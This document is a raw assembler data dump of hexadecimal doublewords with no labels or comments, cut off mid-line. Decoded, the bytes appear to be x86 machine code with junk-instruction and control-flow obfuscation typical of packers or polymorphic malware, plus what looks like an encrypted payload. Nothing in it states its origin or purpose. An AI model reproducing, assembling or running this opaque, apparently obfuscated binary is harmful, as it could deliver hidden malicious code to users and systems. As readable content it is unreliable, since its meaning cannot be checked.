269065B1h, 0B9A0C34h dd 8E35E808h, 0F4C781AEh, 66000058h, 0C0BDE681h, 15FEBBh dd 0F28B6600h, 860F37FFh, 16h, 0EE8h, 32325500h, 60183D19h dd 78CACCC1h, 8B5FB2BAh, 0F585AF1h, 580h, 4454BA00h, 0F0813948h dd 63DE1828h, 814AF280h, 2FB706C0h, 3860F21h, 80000000h dd 0E881F3C6h, 73DBCB40h, 0F50D18Ah, 18Ah, 78FF900h, 0F5ACEF81h dd 81665933h, 817951CEh, 33F5A8C7h, 0EB83F959h, 32850F01h dd 60000000h, 0FBE78166h, 0FE960C6h, 0E5000000h, 5BFC2ECCh dd 0DBFE9545h, 50D922DCh, 0D68154A2h, 558CA58Ch, 31E96161h dd 74000000h, 173C648Ch, 0BA10577h, 11E8E9h, 0CC780000h dd 0AF5FA7D3h, 6071BDD6h, 0C3F688E0h, 6608A90Fh, 0E959CF8Bh dd 0FFFFFF40h, 0BDB3EE27h, 2D60D44Ch, 89C104EBh, 3FE92186h dd 88000005h, 0ACCA36FFh, 0CBE95526h, 0E8067243h, 0B29955Eh dd 8A49B586h, 24F57A3Eh, 460F9AB8h, 6730BCDAh, 8556DDFBh dd 9D681419h, 0D01B1057h, 56FE111Fh, 7FFFECFh, 2745B182h dd 0D8D0CFA0h, 89818051h, 0B0BE3203h, 1EE95D26h, 0D61145D0h dd 0E69B93A0h, 6AEAB06h, 42AE7Fh, 9C9B6CF2h, 4D4C1DA4h dd 107FF52h, 2240AC75h, 0D6CECD96h, 6583824Bh, 72F70537h dd 455E94A1h, 916D611h, 626132B9h, 97946F67h, 2E9A63EFh dd 35BB8910h, 457A7843h, 0EDFAD611h, 4DA09B9Ah, 455E994Eh dd 0BE93D611h, 0E3B833C1h, 76845C39h, 231E1DEEh, 52D3FDD8h dd 241C0B1Bh, 78E9h, 24323800h, 92E0AB9Dh, 62D61145h, 8030255h dd 0B2830A10h, 0D8A9303Eh, 7E762BE0h, 71D61145h, 0DA119F9Ch dd 515C39E3h, 6, 0DCAD3341h, 0D05619E4h, 820800FFh, 99AA7AB9h dd 82D52DF6h, 0A778000Eh, 7802FAAFh, 30B8B0AFh, 0DC68605Fh dd 961C1413h, 300BFC5h, 0C8C52058h, 0DDA89A20h, 0D6119B97h dd 8BFF525Fh, 3129F27Dh, 0A16AF10Fh, 4A33412Ch, 8EFA4DAAh dd 0D156ABh, 6F87E8Ch, 1145353Bh, 5DB0BDD6h, 0B66B635Eh dd 686738BEh, 32FEFBBAh, 0CFCE9F24h, 458AE8B3h, 5D6AD611h dd 6730BA0Ah, 13E4696Fh, 390289A7h, 34B95057h, 2D6B1863h dd 0BB0ED763h, 0E9716968h, 0F96A418h, 4C443F3Eh, 504DC697h dd 390F19C2h, 58145Ch, 56630000h, 90100D1h, 0D1B1B081h dd 4CD17976h, 6CF10F7Bh, 1AA49C9Bh, 8815251h, 0A6313F0Bh dd 0E2F9E5DDh, 295C39E1h, 45h, 9E243278h, 4ACFD5CDh, 0F6827A79h dd 7CB0B92Dh, 8C618307h, 844DD828h, 59DFD78Ch, 0C918988h dd 2A333C3Bh, 1821822Dh, 1DEE731Bh, 0D056CEB1h, 204B00FFh dd 45D61145h, 0EEE57370h, 255C39E3h, 1, 99243274h, 62D6D1D0h dd 11455997h, 140C19D6h, 41B5860Eh, 452E440Fh, 0BCC6D611h dd 6E696831h, 7546CB1Bh, 49D0C87Dh, 45668C57h, 10ED611h dd 0E4201B6h, 6ABD56FAh, 111F4D6Bh, 0E8C3BB8Ch, 0EABB43EBh dd 12E36876h, 319DD39Eh, 4855D611h, 0BAEC2E50h, 113181EFh dd 6C6471D6h, 0C034CC39h, 141336F5h, 242330DCh, 68D4A52Ch dd 7EF2C34Ah, 3136CB75h, 12850866h, 90DBE8D0h, 0F5EDC12Eh dd 8A162440h, 0EE06C9C1h, 1BD012CCh, 40491512h, 5C3F82D0h dd 0BDC3BB4Dh, 0DBF96536h, 68848354h, 0A83CB95Fh, 0F3ED73E6h dd 7DBE82DAh, 10160E61h, 0BB9B889h, 20A74F4Ch, 14DFE34Fh dd 1F5A3A75h, 124h, 9D24326Eh, 0DAD2CDCCh, 2EA27EA7h, 145FC863h dd 9695A2DCh, 777D487Ah, 0FFD0125Fh, 6DF4FAF2h, 8B12309Ch dd 3CC3BBBAh, 0FFBE6C6Bh, 2D35A02h, 0F9599296h, 58D45A3Ah dd 23000000h, 0B529F129h, 4F4E1FA7h, 325C54h, 9A996AF2h dd 3EE4A79Fh, 0B6D61145h, 0A12735A9h, 2AFB80D0h, 0AAC87D32h dd 30D61144h, 0CF812D36h, 0B8569C67h, 111ED611h, 0B17776C6h dd 0E0DD661h, 43401B13h, 0FA6E3A6Eh, 1178712Fh, 6BF701D6h dd 55A8A3A2h, 92BCE9h, 29BF0000h, 0E5B024FCh, 0DC14674Eh dd 44159CAAh, 0A6524A45h, 4544159Ch, 0A172FA4Ah, 2A334F4Eh dd 0E4AF13DFh, 0D012F88Eh, 0CE0E5966h, 0CBD1C998h, 0E9077344h dd 0DD929162h, 0D012249Ch, 41E9E6EFh, 327DE9BAh, 0EEB92DCBh dd 0DA18F9DDh, 6D898895h, 0C5105664h, 0B43C26D2h, 96E9E4E3h dd 1F11989Eh, 1CE21E54h, 76C9D6DAh, 0A96AF402h, 6DCDD9C6h dd 5251A4BAh, 0B27B0757h, 8E705BAh, 31CF360Bh, 5728AFBDh dd 596A355Fh, 11D016EAh, 48569804h, 31FCF4BDh, 0D0992432h dd 0A078A5D8h, 0C5961E2Ch, 0A9D3CBC6h, 1B9ACDDEh, 8C5785DCh dd 0D01B1066h, 0DF15E00Eh, 97D01B10h, 70E4378Ah, 1DE8DA62h dd 0D01B10D7h, 0EF3F929Fh, 0E99E9667h, 2D996AF1h, 43B7880Fh dd 0F5C0AA35h, 0D01B10FFh, 18176A77h, 7841CD1Dh, 0D1867E79h dd 4F20A7B5h, 9A5D5550h, 0FB944DC3h, 49F1EE49h, 4385F1C2h dd 0E5DDAE35h, 28A58DFh, 0E4373231h, 9D63EDE5h, 4D484718h dd 0FEDDFBFAh, 1D25901h, 0A84A5395h, 9B5267C5h, 50D7DDD5h dd 3264807Fh, 86760967h, 0E4DCE9FBh, 0DCFh, 0DE54D200h dd 4593E1ACh, 5663D611h, 0CD56935Eh, 860D0504h, 32BEB6B5h dd 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h, 0BB433B3Ah dd 6DF3EBEAh, 686F9D9Ch, 1B1Ch, 56241489h, 0C681E689h dd 4, 4EE81h, 34870000h, 0C895C24h, 8B06824h, 3C890000h dd 0B9515224h, 60A5532h, 8959CA89h, 3685AD1h, 89000006h dd 4832424h, 685F0424h, 31FBh, 89242C89h, 86F89CDh, 243C8B5Dh dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 53240C8Bh, 0C381E389h dd 4, 4C381h, 1C870000h, 0BEE95C24h, 56FFF923h, 50418FB4h dd 0D9F3C37Ah, 0D4C335A7h, 0E6B8E389h, 3060A59h, 0EE0FFC5h dd 642FE0DAh, 263B38C7h, 0D04F0DC3h, 18592C3Bh, 7D0934B1h dd 7A2DE5FCh, 6E588CEAh, 9A024C09h, 5475B59h, 9654BCC2h dd 0A31CFABEh, 0A3190D98h, 5E45D5E1h, 0EB13881Ch, 0F1938E04h dd 4C3E952h, 8A130000h, 0B13755C1h, 0CE5674E0h, 0E97391FDh dd 1196B420h, 0C915D440h, 43AF8005h, 65D19A25h, 86F2BB47h dd 0A410E168h, 0CA28F39Fh, 0AAD01B1Fh, 2432899Ch, 0D7D2D19Ah dd 8152D9DFh, 34058A82h, 4C7D86C8h, 0FA4A4BC8h, 38BFC5BDh dd 0BCDDB56Fh, 52A5F36Eh, 3D45B53h, 2AFB818Fh, 0CBB144DFh dd 665E1EABh, 6233B9B1h, 2B288363h, 0B72BFC83h, 0E2561FA9h dd 11A5D917h, 948C99D6h, 0FFC85472h, 20E97593h, 4A139EACh dd 1AA59D52h, 55345251h, 3D838C58h, 0B4DDEC2Ch, 0C8545A52h dd 0EE7593FFh, 0F4021E1Dh, 0E2A59D6Eh, 0D6117889h, 7C0A07DCh dd 5C39DE77h, 4DBEh, 0CF560D00h, 224AFFFEh, 45D61145h dd 0EEE57370h, 255C39E3h, 1, 0FFD05674h, 0B1820800h, 32400B3Dh dd 0C2D61145h, 1008BDB5h, 0DEBEBD86h, 59ED2B34h, 6A7EE5ECh dd 0F29A9772h, 4A139E6Ch, 7900504Bh, 5BAEA9A8h, 794AD1EFh dd 0D1562A0Dh, 2CDA6708h, 0D92CF527h, 0E4B5BEDAh, 0F1FFCA31h dd 81D611B9h, 7FA82974h, 1BA1A79Fh, 0DE9D4B4Ah, 0E3B439E1h dd 1D25977h, 0B1820A02h, 1019E1B2h, 69F0DD23h, 1BF6EEB6h dd 814B901Eh, 75C25C39h, 11000000h, 100D156h, 3CB08109h dd 45313F0Ah, 0DD67D611h, 8C141E14h, 6EC1BCBBh, 86E1C176h dd 8B5CE189h, 0AB7C011Fh, 612AB4ACh, 1B189162h, 39E1568Dh dd 7BDD5Ch, 562C0000h, 838C00D1h, 0F8A491F5h, 32E7DF92h dd 43AD0D16h, 5370E6Ch, 0B27B070Dh, 0A4A1AAB3h, 95DBA6D8h dd 5DD611D0h, 0A97A0050h, 0B1B7AFAAh, 0DEE75B2Ch, 5AE0DA7Ah dd 0D4A53E89h, 65486A62h, 26062932h, 0A85CC20Dh, 113397DDh dd 0FF525FD6h, 0AA7B0107h, 0F5818FABh, 3A322D2Ch, 11337C77h dd 9F9C71D6h, 3995DA11h, 0F515Ch, 38410000h, 33118B02h dd 0A576FD1Ah, 6058ABA6h, 0FDCE5695h, 0AE7F06FEh, 5A6391AFh dd 7A5113C6h, 0EB71C16Ah, 4A47221Ah, 0DD491AA2h, 4906B92h dd 0EE413C3Bh, 0C388AF7Ah, 0DDEADC14h, 6D5FE6DEh, 12824CA2h dd 0C71724D0h, 7974733Ch, 0E9A9B226h, 0FEF4BF1Ch, 76D012F2h dd 0CA071E69h, 0C8E60800h, 0BC717041h, 0D01241B0h, 0E06B79D1h dd 251D1817h, 1EA54D4Ah, 3CC3E14Dh, 42506C6Bh, 0F0F6EEB7h dd 0C6A7A069h, 0DFD4E8ACh, 0F40F188Ch, 392BBCDh, 1AC87D75h dd 2FB65E5Bh, 0E5EEF25Eh, 305A3A2Eh, 14Dh, 3FC297Fh, 11453A38h dd 5AADBAD6h, 5F101BE6h, 4D5ADC14h, 8701D0D9h, 0E39BDC0Eh dd 376D92E2h, 0F3EB3EDBh, 0EEBF463Eh, 0CDD6482h, 0BD8E150Dh dd 264C1749h, 50D0125Ah, 125A6F85h, 4FA07D0h, 524AFFF7h dd 7FFFEC7h, 92B0AF80h, 50BB6B3h, 6F7D4946h, 0ABB422E3h dd 464643A3h, 1F9F4F3h, 37A374FBh, 3A6FB833h, 0F176845Ah dd 2E262120h, 46F3h, 4AD5E300h, 3C878281h, 0A81866FBh dd 0DCA79FCCh, 0B529F129h, 114534EAh, 0B0AFBCD6h, 1144F5FBh dd 0BBB863D6h, 8B5CE1EFh, 0AD716640h, 433BAD34h, 9C109810h dd 3D45C6Ah, 6A9A480Bh, 0D1AD611h, 9374A1h, 29770000h dd 0E5B024FCh, 0DC14674Eh, 1C1B28h, 34E65DF7h, 0E4DCE1D7h dd 128657DEh, 28B37904h, 1265605Fh, 0FE201813h, 0B1BF8ABCh dd 41D0126Ch, 0AF363C34h, 0CF2ADFDEh, 3CD0126Fh, 89E7B2E4h dd 69D0126Fh, 8C89645Ch, 208C5DE4h, 80D9D5DEh, 0D17A5A68h dd 0A17FA6D9h, 0D6242Dh, 52AACBC5h, 0DF65305Ah, 97DA18ACh dd 666F8B8Ah, 0C31F2C10h, 0B07BC61Fh, 88885F59h, 0A91978Fh dd 3D1C3A39h, 66326B40h, 0DC1927F2h, 4C59D016h, 0B909EE0h dd 48403B3Ah, 24FC297Dh, 9F5FE5B0h, 9099DC1Bh, 38721BADh dd 9B473FFBh, 10978F8Eh, 2EB5D33Fh, 0E0A95E5Dh, 442D0782h dd 0BD44ECE9h, 0DB6280ECh, 89130B0Ah dd 0C4A3C1C0h, 0CA981FC7h, 7B76753Eh, 179EBC28h, 0A5F0C149h dd 310B641Ch, 0A6A5F80Eh, 0B597818Ah, 32A047Eh, 8F60Bh dd 54F90000h, 7A4BD0DEh, 0CD56B782h, 860D0504h, 32BEB6B5h dd 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h, 0BB433B3Ah dd 6DF3EBEAh, 686F9D9Ch, 526Ch, 51243C89h, 0C181E189h dd 4, 4E981h, 0C870000h, 1C895C24h, 7EE86824h, 34890000h dd 5ABD6824h, 1C8B060Ah, 4C48324h, 24348B54h, 4C481h, 0B8500000h dd 8, 8957F001h, 5F3889DFh, 2434FF58h, 4C4815Eh, 0FF000000h dd 835B2434h, 0A2E904C4h, 2AFFF91Eh, 5F1EB88Bh, 0C503060Ah dd 70E6E0FFh, 0EDC62D0Ah, 77BC5153h, 0C528330Bh, 9E2F1352h dd 0AEC85604h, 0B7267355h, 977C2C13h, 8DA05AD1h, 0B5AC211Dh dd 0D9647954h, 0B95C6A24h, 0E62B4DD4h, 4C9622E5h, 82B97B4Bh dd 1BDF7178h, 0E99F2D85h, 0FA4C5671h, 4EB3335h, 24E14612h dd 557E9h, 0E0A93200h, 0FFD05674h, 1CED7593h, 3F0892B0h dd 5F30B5D3h, 24E834F3h, 4462CE9Fh, 6684F0B9h, 87A511DAh dd 0BEC32F00h, 1A294712h, 0BBC9D01Bh, 0FECF56A8h, 0B18207FFh dd 0D2A02745h, 2726794Ah, 0D8D7A82Fh, 8A895AE0h, 86524FAAh dd 2B23EC78h, 61CD9E25h, 82EEB743h, 100FD864h, 0C5C48D18h dd 0E16B79A7h, 9F261918h, 5C2B9053h, 0CAA59DF0h, 0D09925CDh dd 0F1BF4664h, 4D4DA566h, 8FFDB85Ch, 56213D3Ch, 0D6119318h dd 2578CBD8h, 71FC0A26h, 82EDB0A8h, 12D61193h, 0A0BCBB8Ch dd 11939FD5h, 0FA4A57D6h, 89A7A66Fh, 8702ADAAh, 0E0E9B5B2h dd 4E92F68Dh, 6D595145h, 5C396666h, 68ADh, 0CF56FC00h dd 4A588AFEh, 8EE4F1C2h, 0E8D61145h, 1145D71Dh, 9C929FD6h dd 0C6E2978Fh, 6A6233B8h, 11454FA7h, 0D0CDA2D6h, 39E38942h dd 8845Ch, 66740000h, 181312DBh, 0D0565520h, 820800FFh dd 30BAB2B1h, 0A014E56Ah, 11459FD5h, 0F74A57D6h, 0C0BD18F8h dd 4DC19218h, 42CCD544h, 7C741A93h, 0E7B53C5Ah, 0CF3B8E5Fh dd 0D156ECh, 91830901h, 1145A8C6h, 4F1A48D6h, 0D6114521h dd 1E71C4D1h, 0B5B2711Fh, 4BB7880Dh, 0E60CD709h, 8ED61145h dd 0D8A93181h, 8253DAE0h, 32038B83h, 689A6233h, 1145579Dh dd 1A121FD6h, 2FB4423Fh, 0F75C39E1h, 4FF4FAC5h, 6F7CD611h dd 9A3C77h, 568B0000h, 90100D1h, 333CB081h, 41F08DE1h dd 19CEC657h, 39E1DE39h, 5977E3B4h, 0C0403D4h, 1345B982h dd 11D82A48h, 0C5BDCAD6h, 0CD8E1810h, 93DEB05Fh, 222174ECh dd 0D3D2A32Ah, 2ED9D6B5h, 0C38F8C05h, 62612AB5h, 58836F67h dd 0E45C39CFh, 6189E7B2h, 890FD611h, 0BDB5C2B8h, 7982h dd 0D156D100h, 7D090100h, 45AAC893h, 3D4AD611h, 6DF3EBEAh dd 4C4B149Fh, 7FFFE51h, 95B1B081h, 1145A4CAh, 73F4CD6h dd 0A304AFACh, 974B424Bh, 6C59A7D4h, 0F49C9974h, 4F329E6Fh dd 7B02D056h, 15425ADh, 0B3840A02h, 0F20E0D60h, 0F4377DE9h dd 0E3DBB054h, 117FD720h, 0F8B945D6h, 0F4A0C8F3h, 8180D381h dd 3736FF89h, 923D3A19h, 0B7454217h, 5C39A93Ch, 1F7h, 324600h dd 7DD392F7h, 0A4B1C6DAh, 0D611D44Eh, 81CE1926h, 14238ED7h dd 5EE6ECE4h, 0F968E8Dh, 9AEDB641h, 0A19E7D9Bh, 34A071F9h dd 60E7BCE9h, 1298908Fh, 279BEE41h, 14B9DF5Ch, 168A97DCh dd 45DB19E4h, 8E9BD015h, 62E9E196h, 80072591h, 0F3FBB0AFh dd 10D01545h, 0DB620A07h, 0B5B4850Dh, 0DDFB67BAh, 8E868556h dd 3F373607h, 0EFE7E6B7h, 4B149E64h, 0FFFE514Ch, 0F49F9C47h dd 8A322FEEh, 28461103h, 0C8D01545h, 15E66BBBh, 54C81B16h dd 0CF25F022h, 0A7D01545h, 45678D9Ah, 20FD015h, 0EFE4E80Ah dd 265A3DE3h, 11Ch, 24FC2975h, 5F4AE5B0h, 1724DC14h, 0C8992018h dd 19572254h, 0D9D0125Eh, 94B2D4CCh, 0BAC83C0Dh, 6B66652Eh dd 3FC6BE73h, 0CB1EE771h, 625F1ECCh, 0F66233BAh, 3AF8F9F2h dd 4B345Ah, 29830000h, 0EAB529F1h, 0D6114534h, 0FBB0AFBCh dd 0D61144F5h, 0E6BBB863h, 0A772E6B2h, 0D61144F9h, 0F0FEC9FBh dd 80D61144h, 1F1EEF76h, 2DD9D124h, 9E67F1FFh, 5997A49Fh dd 0BFD61144h, 64716738h, 9978A511h, 1C000000h, 0C0B8890Eh dd 24FC29F5h, 341DA7B0h, 0EC192714h, 30FFCAF4h, 42DC14B6h dd 0B73E3635h, 0D55C7AE6h, 29500504h, 62D012B2h, 0A871FC0Ah dd 30D8D5B0h, 2D5E0A9h, 5739B03Ah, 935E9004h, 0D012D15Dh dd 0F8922BC0h, 0FBF1C21Ah, 89D4F6EEh, 710841Ch, 0DC42634Fh dd 6FF84342h, 8BF124D2h, 0E9B4DED6h, 0DA18EABCh, 362E2D3Ah dd 8859E1AFh, 0B63E3635h, 66EEE6E5h, 33DE9695h, 0E7158B36h dd 838253D9h, 0B8B59088h, 6ADEBAE3h, 160A669Fh, 77E3F0D0h dd 0CE9F2735h, 11DCD4CFh, 0B024FC29h, 73814C7Eh, 3D61145h dd 23BFEF6h, 8CDC1BA5h, 0ED90B7Fh, 0D01B1AE0h, 2EFF8690h dd 362EE3DBh, 3072DEAFh, 0CAC99A22h, 4AD1D7CFh, 65C57A79h dd 0BFFEF637h, 38BF6764h, 0F6C1F367h, 0FEE4C6F8h, 51736B78h dd 67DBAC33h, 8106D459h, 0B0655DB0h, 66652EB8h, 911BE96Eh dd 7BCEC9C8h, 31FF847Ch, 8887DAABh, 0A5504DA8h, 67F3012Fh dd 0ACA49F9Eh, 0A52CD4D1h, 0C34A68D4h, 814C7EF2h, 0FEE4C673h dd 0C6B4BA85h, 2F3CFEE4h, 7F342C39h, 378h, 3D547B00h, 504CD56h dd 0B6B5860Dh, 6A6932BEh, 1F1EE772h, 0D2D1A227h, 858455DAh dd 3B3A038Dh, 0EBEABB43h, 9D9C6DF3h, 0E389536Fh, 4C381h dd 0B9510000h, 4, 8759CB29h, 685C241Ch, 25D1h, 50240489h dd 405E089h, 2D000000h, 4, 5C240487h, 51243C89h, 7762E6B9h dd 3D3AB83Dh, 0C8313B7Dh, 83240C8Bh, 8B5404C4h, 0C483243Ch dd 4EC8104h, 89000000h, 0C589242Ch, 5D086F89h, 5F2434FFh dd 0FF04C483h, 81582434h, 4C4h, 18FBE900h, 1417FFF9h, 600D7BD8h dd 4424ACh, 0A70EEAA6h, 0A64B4B8h, 0FFC50306h, 0DD3919E0h dd 48E20675h, 0B16CE77Eh, 75AF2161h, 64F70B38h, 0D3136905h dd 0C0AF7B36h, 1D864C2Fh, 1E47DA21h, 3665E278h, 0E072ED1Ah dd 1ED73764h, 0A2C5276h, 0DC4FA07Fh, 35BBA253h, 3F1BC444h dd 75A5A001h, 0B5FDE473h, 14D7B238h, 73D6D924h, 18644053h dd 7A748D56h, 0EC38F803h, 85C8E919h, 29E0B407h, 0E0ED3839h dd 92FC1D5Ch, 1685F524h, 10EB49h, 3 dup(0) dd 8B000000h, 0E1B589C0h, 8306032Ch, 304E5BDh, 9750006h dd 2339BD83h, 74000603h, 8B535019h, 42DB8C0h, 85890000h dd 6031A9Dh, 0B5BF9D8Dh, 0D3FF0605h, 0BD83585Bh, 6032339h dd 50177400h, 42DB853h, 85890000h, 6031A9Dh, 0B2AE9D8Dh dd 0D3FF0605h, 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 8CC25FC3h, 0CE9DC1Ah, 2A000000h dd 1553219Fh, 5A83BA4Bh, 8B37C2E0h, 8D8BF8C0h, 603176Dh dd 0BF28166h, 0F98331h, 9C840Fh, 8A0F0000h, 5, 0E5DA8166h dd 0F1B70F2Ah, 2C3D8B64h, 81000000h, 0DA2CB5F6h, 0FFF0B38h dd 7984h, 79952300h, 8B060329h, 55006A3Fh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 1D77BF35h dd 0C032D3EAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0A8C35545h, 553DC445h, 0E2803CBEh, 6AAAF382h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 4C0C350h, 8761D005h, 0DA816639h, 493538EEh, 56535041h dd 2E6D958Bh, 665A0603h, 0C6F89DBEh, 31BA185h, 0BD894706h dd 60312F1h, 16D6F568h, 21CFBAD6h, 4815E1Bh, 0BFB13724h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 66A5E073h, 8D89F38Bh, 6032191h, 2471B5FFh dd 8DFC0603h, 67C5885h, 2880F06h, 0B6000000h, 9D0FF10h dd 31FE1BDh, 0FD858906h, 89060325h, 307599Dh, 0A185C606h dd 5306031Bh, 7419589h, 4E80603h, 0FC000000h, 0F88986Ah dd 884h, 28A0F00h, 8A000000h, 0F28B50F4h, 424448Bh, 0CB8B6660h dd 8B61D38Bh, 89C0B600h, 66042444h, 6A58F78Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0F4AC356h, 8Dh, 71B5FF00h, 8D060324h, 67C5885h, 1958906h dd 0FF06032Dh, 8D2EB6D0h, 63A6C85h, 0BF666006h, 4EB316BEh dd 69858961h, 6A060313h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 47DC353h, 0CF593D60h dd 6AE8ADB5h, 0FFFF6A20h, 3136995h, 41493506h, 85C75350h dd 6030CC1h, 1, 7C185C7h, 603h, 10E90000h, 0E2000000h dd 0B9AC8374h, 231031A5h, 512F247h, 8B5C5FDEh, 30DBD95h dd 0BDBD8306h, 6032Eh, 3B840Fh, 2DBA0000h, 0E9256451h dd 7, 0B904F4BCh, 8B9DA60Dh, 31C2985h, 8B24BE06h, 0A36436DFh dd 0 dd 0B219D89h, 858B0603h, 60329B5h, 1C61958Bh, 0E08B0603h dd 490758BEh, 0ADBD8364h, 60306h, 4D4850Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 2F84F8C3h, 75BBC9F4h, 0B589F2D8h, 6030B85h, 0BE8h, 69039E00h dd 0CAE63B43h, 0DF06C15Ah, 9476C9BEh, 85C65A02h, 6031BA1h dd 53006A56h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 28D3BF71h, 68D0ACACh, 0AE317093h, 13E960h dd 37470000h, 587D564Ch, 0FC42653Bh, 5A2E42EFh, 7396952Dh dd 0D153BF8Ch, 816128FAh, 404C2434h, 665107F4h, 5A39CFBAh dd 2471B5FFh, 1DB60603h, 0C36C45BEh, 58858D2Dh, 0F06067Ch dd 8E0FF1B7h, 0 dd 8950D0FFh, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 48A8EDC3h, 0E22E1A16h, 608B64F9h dd 3039858Bh, 9E80603h, 15000000h, 213421C6h, 0D7A225DAh dd 0FE9h, 0F8F8C600h, 391E3A2Ah, 66A23A66h, 3790FC5Dh dd 8D8D615Ah, 6030479h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0FAC35141h, 8B67172Ch, 9D29D1D4h, 603291Dh dd 0CE85091h, 38000000h, 7E6914B6h, 37DE371h, 0E9194196h dd 14h, 0A10075F3h, 45F24038h, 263AA246h, 98B6645Eh, 0B4D0B2E5h dd 958B915Ah, 60319C9h, 0C368046Ah, 6042A859h, 0EDB1BA66h dd 5E9h, 177D8F00h, 8161ED6Eh, 49C32434h, 14E942A8h, 87000000h dd 0C681227h, 0FCBB8AEEh, 9223ED56h, 423B1F7Bh, 0FFC2EA82h dd 3133DB5h, 0F78B6606h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 8C1C9FC3h, 5352B0ACh dd 8BB4E01Ch, 3133DBDh, 1DB58906h, 3060324h, 0AE83C7Fh dd 0E2000000h, 41DE2F0Eh, 42419191h, 0F8F0F40h, 0E8000000h dd 9, 758AC8F3h, 0B8983311h, 815A5E73h, 0F8C7h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 54D72DFCh, 29174A73h, 30641BDh, 2447C706h, 60000020h dd 0BFCCB260h, 717A9907h, 0AEBD8361h, 60A65h, 1DA840Fh dd 0F18B0000h, 0C783F18Bh, 870F28h, 80000000h, 7C70DEEh dd 64696A2Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 1C35646h, 9C788CA8h, 8D894C06h, 6030695h, 610447C7h dd 6A006174h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 4D6EC353h, 0AEB742AEh, 8BD2BF0Fh dd 0A65B685h, 5FEA8106h, 0E951F36Dh, 0Ch, 32849D96h, 188DE00Bh dd 0ADE93390h, 0F90C4789h, 65BA858Bh, 6A060Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0CA593EC3h, 0F9ED83C3h, 6A084789h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0AF96C355h dd 0A65DC0E7h, 8A1B826Dh, 0F28C783h, 0E8Ah, 9E900h, 36E30000h dd 10E141CEh, 0C767C673h, 6F632E07h, 52006A6Eh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 1595895Dh dd 6006031Eh, 459B509h, 8C0F0603h, 0 dd 61858961h, 0C7060307h, 69660447h, 800F0067h, 5, 0E341CBBAh dd 61B58943h, 8B060307h, 0A65B285h, 0D6BF0F06h, 0C4789F9h dd 5AF08A52h, 6870Fh, 958B0000h, 6030C6Dh, 65AE858Bh, 6A060Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 8B60A8C3h, 820F51FAh, 0 dd 850F615Fh, 8, 28E0Fh, 5E570000h, 11E8h, 54630800h, 1845A1Fh dd 269DD856h, 0B480197Fh, 95893081h, 6031B05h, 847895Eh dd 10E8h, 4ACE3100h, 6755DCE4h, 43A5E3D9h, 4F6DF597h, 8D0F4Bh dd 5A000000h, 9CCE8158h, 8D639AD4h, 308CD8Dh, 0E681F906h dd 0A84B621h, 3DBA5791h, 5A3550A5h, 4870F50h, 66000000h dd 91B819BEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0FDC35747h, 3DB58B1Fh, 0FF06031Ah, 30479B5h, 67BE6606h dd 38A26870h, 481EAFDh, 2D75E24h, 0FE915h, 35520000h, 6A576100h dd 9E47AF76h, 0ED479472h, 70E2814Ah, 0FF0A6CB1h, 3133DB5h dd 0E7DA8006h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 1285F7C3h, 0B8CD8Eh, 8B000000h dd 31BA9B5h, 0FC00B06h, 4484h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 742BEA45h dd 0B9A8C4EAh, 0F6B70FA9h, 1FC1B5FFh, 0F9BE0603h, 0FF72EBB8h dd 3171D95h, 8D9D8906h, 3106032Dh, 32AC195h, 0FC08B06h dd 0BD83D2B7h, 60304E5h, 83097500h, 32339BDh, 19740006h dd 0C08B5350h, 42DB8h, 39858900h, 8D060307h, 5B6269Dh dd 5BD3FF06h, 39BD8358h, 60323h, 53501774h, 42DB8h, 39858900h dd 8D060307h, 5B2C79Dh, 5BD3FF06h, 0F0C68158h, 81191A3Dh dd 4F060EDAh, 8BECB636h, 8DC08BC0h, 0A6F658Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 9B242116h, 858BB70Ah, 6030449h, 0B198589h, 8D890603h dd 60320A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0F3C35747h, 47DF7182h, 1A6585C7h, 74400603h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 1FB685C3h, 838CA18Ch, 89B2B6C4h, 321499Dh, 7185C706h dd 60300h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0B17CC357h, 826CCF1Ah, 86CADA64h dd 6157BB66h, 1765B5FFh, 6A0603h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 8CCE9BC3h, 0B6107EA6h dd 449958Bh, 0D68B0603h, 